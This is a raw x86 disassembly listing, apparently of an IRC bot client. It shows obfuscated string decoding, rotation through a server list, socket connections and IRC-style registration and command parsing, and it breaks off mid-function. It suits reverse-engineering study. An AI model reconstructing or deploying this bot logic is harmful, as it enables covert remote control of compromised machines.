var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F600
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E6A
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_401424
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401749
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401749
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401749
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401749
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401749
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401749
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401749
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401749
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401749
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401749
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401749
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401749
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401749
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_401721
		mov	dword ptr [edi], offset	off_43E034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_446F70
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43E028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015D7
		nop
		call	near ptr 27D07CDh
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017E4
		push	eax
		push	offset dword_4470FC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset dword_447100
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017E4
		push	eax
		push	offset dword_447104
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017E4
		push	eax
		push	offset dword_447108
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017E4
		push	eax
		push	offset dword_44710C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017E4
		push	eax
		push	offset dword_447110
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017E4
		push	eax
		push	offset dword_447114
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset dword_447118
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017E4
		push	eax
		push	offset dword_44711C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017E4
		push	eax
		push	offset dword_447120
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017E4
		push	eax
		push	offset dword_447124
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017E4
		push	eax
		push	offset dword_447128
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017E4
		push	eax
		push	offset dword_44712C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017E4
		push	eax
		push	offset dword_447130
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017E4
		push	eax
		push	offset dword_447134
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017E4
		push	eax
		push	offset dword_447138
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017E4
		push	eax
		push	offset dword_44713C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017E4
		push	eax
		push	offset dword_447140
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F600	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FD70	proc near		; CODE XREF: ___:004019C4j sub_401A3Cj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C0
sub_40FD70	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FD88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FD88:				; CODE XREF: ___:0040FD7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FDA0	proc near		; CODE XREF: sub_4013C0j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FDA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E028
		mov	dword ptr [esi+11h], offset off_43E034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B54
sub_40FDA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FF60	proc near		; CODE XREF: sub_40212Bj

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_4395D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_401424
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411330


loc_40FFA2:				; CODE XREF: sub_40FF60+13CAj
		mov	al, byte_4E6E84
		mov	edi, dword_50F8A4
		cmp	al, bl
		jz	loc_411330
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_40FFCA
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_40FFD4
		cmp	eax, ebx
		jz	loc_41010E


loc_40FFCA:				; CODE XREF: sub_40FF60+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_41010E


loc_40FFD4:				; CODE XREF: sub_40FF60+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_40FFE9
		push	eax
		call	near ptr 71AB9639h
		nop


loc_40FFE9:				; CODE XREF: sub_40FF60+80j
		mov	ecx, offset word_448C9E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401537
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401974
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_410019
		mov	[ebp+20h], ebx


loc_410019:				; CODE XREF: sub_40FF60+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_44742D
		mov	ecx, offset word_448D16
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D16
		add	eax, 1B6h
		push	eax
		push	offset dword_4473E4
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D16
		push	edx
		push	offset dword_4472C0
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_447352
		mov	ecx, offset word_448D16
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D16
		add	eax, 0DBh
		push	eax
		push	offset byte_447309
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D16
		add	edx, 92h
		push	edx
		push	offset byte_44739B
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_4474BF
		mov	ecx, offset word_448D16
		call	sub_401F32
		call	edi
		mov	[ebp+24h], eax


loc_41010E:				; CODE XREF: sub_40FF60+64j
					; sub_40FF60+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410138
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 2811D0Bh
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410138:				; CODE XREF: sub_40FF60+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_4102C8
		mov	ax, word_44736C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		call	near ptr 71AB2B66h
		nop
		mov	ecx, offset byte_447309
		mov	[esp+24h+arg_1E], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101B8
		push	2710h
		nop
		call	near ptr 2811D0Bh
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4101B8:				; CODE XREF: sub_40FF60+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5EDAB2
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015D7
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_446F70
		mov	ecx, offset byte_44739B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410287
		mov	ecx, offset byte_44739B
		call	sub_4017E4
		mov	edx, dword_44711C
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h


loc_410287:				; CODE XREF: sub_40FF60+305j
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	eax, dword_447124
		push	eax
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		mov	ecx, dword_447120
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 1Ch
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4102C8:				; CODE XREF: sub_40FF60+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_411320
		nop
		call	near ptr 27D07CDh
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CBC
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A87
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447128
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4103A0
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4473E4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4103A4


loc_4103A0:				; CODE XREF: sub_40FF60+3EAj
		mov	[esp+20h+var_D], bl


loc_4103A4:				; CODE XREF: sub_40FF60+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4103C6
		mov	byte ptr [ebp+16h], 1
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4103C6:				; CODE XREF: sub_40FF60+45Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470FC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410464
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017E4
		push	eax
		mov	eax, dword_447118
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410592
; ---------------------------------------------------------------------------


loc_410464:				; CODE XREF: sub_40FF60+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, dword_447100
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	loc_4105D0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447118
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410597
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017E4
		push	eax
		mov	eax, dword_447118
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410592:				; CODE XREF: sub_40FF60+4FFj
		call	sub_401226


loc_410597:				; CODE XREF: sub_40FF60+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_411327
		mov	ecx, offset byte_44742D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473E4
		call	sub_4017E4
		mov	ecx, dword_447104
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4105D0:				; CODE XREF: sub_40FF60+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447138
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410652
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44713C
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410657


loc_410652:				; CODE XREF: sub_40FF60+69Bj
